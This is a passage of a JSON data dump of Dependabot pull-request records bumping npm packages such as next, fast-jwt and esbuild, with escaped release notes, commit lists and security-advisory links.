Escape regex char in entity name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/341b582219b1eb57e4c34ca58881602cba6b8711\"\u003e\u003ccode\u003e341b582\u003c/code\u003e\u003c/a\u003e Add missing exports to fxp commonjs types (\u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/782\"\u003e#782\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.4...v5.3.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/japperJ/v2test/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/japperJ/v2test/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/japperJ%2Fv2test/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"},{"uuid":"3765295232","node_id":"PR_kwDOQv6HQs66uLrH","number":1,"state":"open","title":"Bump the npm_and_yarn group across 2 directories with 2 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-12-28T03:44:14.000Z","updated_at":"2025-12-29T04:25:19.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm_and_yarn","update_count":2,"packages":[{"name":"next","old_version":"15.0.3","new_version":"15.4.10","repository_url":"https://github.com/vercel/next.js"},{"name":"fast-jwt","old_version":"4.0.5","new_version":"6.1.0","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 1 update in the /packages/frontend directory: [next](https://github.com/vercel/next.js).\nBumps the npm_and_yarn group with 1 update in the /packages/api directory: [fast-jwt](https://github.com/nearform/fast-jwt).\n\nUpdates `next` from 15.0.3 to 15.4.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003enext's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev15.4.10\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.4.8\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003ch2\u003ev15.3.8\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.3.6\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003ch2\u003ev15.2.8\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.2.6\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003ch2\u003ev15.1.11\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.1.9\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003ch2\u003ev15.0.7\u003c/h2\u003e\n\u003cp\u003ePlease see the \u003ca href=\"https://nextjs.org/blog/security-update-2025-12-11\"\u003eNext.js Security Update\u003c/a\u003e for information about this security patch.\u003c/p\u003e\n\u003ch2\u003ev15.0.5\u003c/h2\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://nextjs.org/blog/CVE-2025-66478\"\u003eCVE-2025-66478\u003c/a\u003e for additional details about this release.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/43cb5460c809ab97b6547b7765542cf16adcfc3c\"\u003e\u003ccode\u003e43cb546\u003c/code\u003e\u003c/a\u003e v15.4.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6129673307eb9afd8fe7954162faa28064bc847b\"\u003e\u003ccode\u003e6129673\u003c/code\u003e\u003c/a\u003e Backport \u003ca href=\"https://redirect.github.com/facebook/react/issues/35351\"\u003efacebook/react#35351\u003c/a\u003e for 15.4.9 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/87087\"\u003e#87087\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/d1449e513f1cb40739b4cd97fac5b6eaa3ea445c\"\u003e\u003ccode\u003ed1449e5\u003c/code\u003e\u003c/a\u003e v15.4.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/596f51338bf77e03a363b31963b2caa133b06ef9\"\u003e\u003ccode\u003e596f513\u003c/code\u003e\u003c/a\u003e Update React Version (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/42\"\u003e#42\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/2ff781e00bd7931507ed9302dff987c31a6d712e\"\u003e\u003ccode\u003e2ff781e\u003c/code\u003e\u003c/a\u003e Update React Version (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/31\"\u003e#31\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/d0edaaceacd453535af61d62a0cad26b4f92d7b3\"\u003e\u003ccode\u003ed0edaac\u003c/code\u003e\u003c/a\u003e Backport Next.js changes to v15.4.9 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/24\"\u003e#24\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/bd845468a7f8f8fac639556f24abfab800662709\"\u003e\u003ccode\u003ebd84546\u003c/code\u003e\u003c/a\u003e lock binaries\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/49668475daba15ef8cea1d8e469dc0f9a765b635\"\u003e\u003ccode\u003e4966847\u003c/code\u003e\u003c/a\u003e v15.4.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/bf8d31c89caf0fc18efe91fb2dc3463fc03795c0\"\u003e\u003ccode\u003ebf8d31c\u003c/code\u003e\u003c/a\u003e update version script\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/bed530f7294241b9f92aa2ee5abc50a92e97b7fe\"\u003e\u003ccode\u003ebed530f\u003c/code\u003e\u003c/a\u003e Update React Version for Next.js 15.4.8 (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/9\"\u003e#9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/next.js/compare/v15.0.3...v15.4.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 4.0.5 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/315d44d29b5dd56a9e406f9c49a39cf864ad32ba\"\u003e\u003ccode\u003e315d44d\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/565\"\u003e#565\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/3683e00d7227d3dbc44c4f96fffd4c4a0195e5b2\"\u003e\u003ccode\u003e3683e00\u003c/code\u003e\u003c/a\u003e Release v6.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/564\"\u003e#564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/gkeferstein/campus.mojo/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/gkeferstein/campus.mojo/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/gkeferstein%2Fcampus.mojo/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"},{"uuid":"3534332614","node_id":"PR_kwDOOY69SM6uu5T0","number":2,"state":"closed","title":"Bump the npm_and_yarn group across 2 directories with 6 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2025-10-22T20:39:13.000Z","author_association":null,"state_reason":null,"created_at":"2025-10-20T23:54:59.000Z","updated_at":"2025-10-22T20:39:14.000Z","time_to_close":161054,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm_and_yarn","update_count":6,"packages":[{"name":"esbuild","old_version":"0.20.2","new_version":"0.25.0","repository_url":"https://github.com/evanw/esbuild"},{"name":"vitest","old_version":"2.1.8","new_version":"2.1.9","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"fast-jwt","old_version":"4.0.5","new_version":"5.0.6","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"tsup","old_version":"8.0.2","new_version":"8.3.5","repository_url":"https://github.com/egoist/tsup"},{"name":"rollup","old_version":"4.13.0","new_version":"4.18.0"},{"name":"vite","old_version":"5.4.14","new_version":"5.4.21"},{"name":"vitest","old_version":"2.1.8","new_version":"2.1.9","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"fast-jwt","old_version":"4.0.5","new_version":"5.0.6","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 4 updates in the / directory: [esbuild](https://github.com/evanw/esbuild), [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest), [fast-jwt](https://github.com/nearform/fast-jwt) and [tsup](https://github.com/egoist/tsup).\nBumps the npm_and_yarn group with 2 updates in the /packages/backend directory: [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) and [fast-jwt](https://github.com/nearform/fast-jwt).\n\nUpdates `esbuild` from 0.20.2 to 0.25.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/releases\"\u003eesbuild's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.25.0\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eThis release deliberately contains backwards-incompatible changes.\u003c/strong\u003e To avoid automatically picking up releases like this, you should either be pinning the exact version of \u003ccode\u003eesbuild\u003c/code\u003e in your \u003ccode\u003epackage.json\u003c/code\u003e file (recommended) or be using a version range syntax that only accepts patch upgrades such as \u003ccode\u003e^0.24.0\u003c/code\u003e or \u003ccode\u003e~0.24.0\u003c/code\u003e. See npm's documentation about \u003ca href=\"https://docs.npmjs.com/cli/v6/using-npm/semver/\"\u003esemver\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eRestrict access to esbuild's development server (\u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99\"\u003eGHSA-67mh-4wv8-2f99\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThis change addresses esbuild's first security vulnerability report. Previously esbuild set the \u003ccode\u003eAccess-Control-Allow-Origin\u003c/code\u003e header to \u003ccode\u003e*\u003c/code\u003e to allow esbuild's development server to be flexible in how it's used for development. However, this allows the websites you visit to make HTTP requests to esbuild's local development server, which gives read-only access to your source code if the website were to fetch your source code's specific URL. You can read more information in \u003ca href=\"https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99\"\u003ethe report\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eStarting with this release, \u003ca href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS\"\u003eCORS\u003c/a\u003e will now be disabled, and requests will now be denied if the host does not match the one provided to \u003ccode\u003e--serve=\u003c/code\u003e. The default host is \u003ccode\u003e0.0.0.0\u003c/code\u003e, which refers to all of the IP addresses that represent the local machine (e.g. both \u003ccode\u003e127.0.0.1\u003c/code\u003e and \u003ccode\u003e192.168.0.1\u003c/code\u003e). If you want to customize anything about esbuild's development server, you can \u003ca href=\"https://esbuild.github.io/api/#serve-proxy\"\u003eput a proxy in front of esbuild\u003c/a\u003e and modify the incoming and/or outgoing requests.\u003c/p\u003e\n\u003cp\u003eIn addition, the \u003ccode\u003eserve()\u003c/code\u003e API call has been changed to return an array of \u003ccode\u003ehosts\u003c/code\u003e instead of a single \u003ccode\u003ehost\u003c/code\u003e string. This makes it possible to determine all of the hosts that esbuild's development server will accept.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/sapphi-red\"\u003e\u003ccode\u003e@​sapphi-red\u003c/code\u003e\u003c/a\u003e for reporting this issue.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDelete output files when a build fails in watch mode (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/3643\"\u003e#3643\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eIt has been requested for esbuild to delete files when a build fails in watch mode. Previously esbuild left the old files in place, which could cause people to not immediately realize that the most recent build failed. With this release, esbuild will now delete all output files if a rebuild 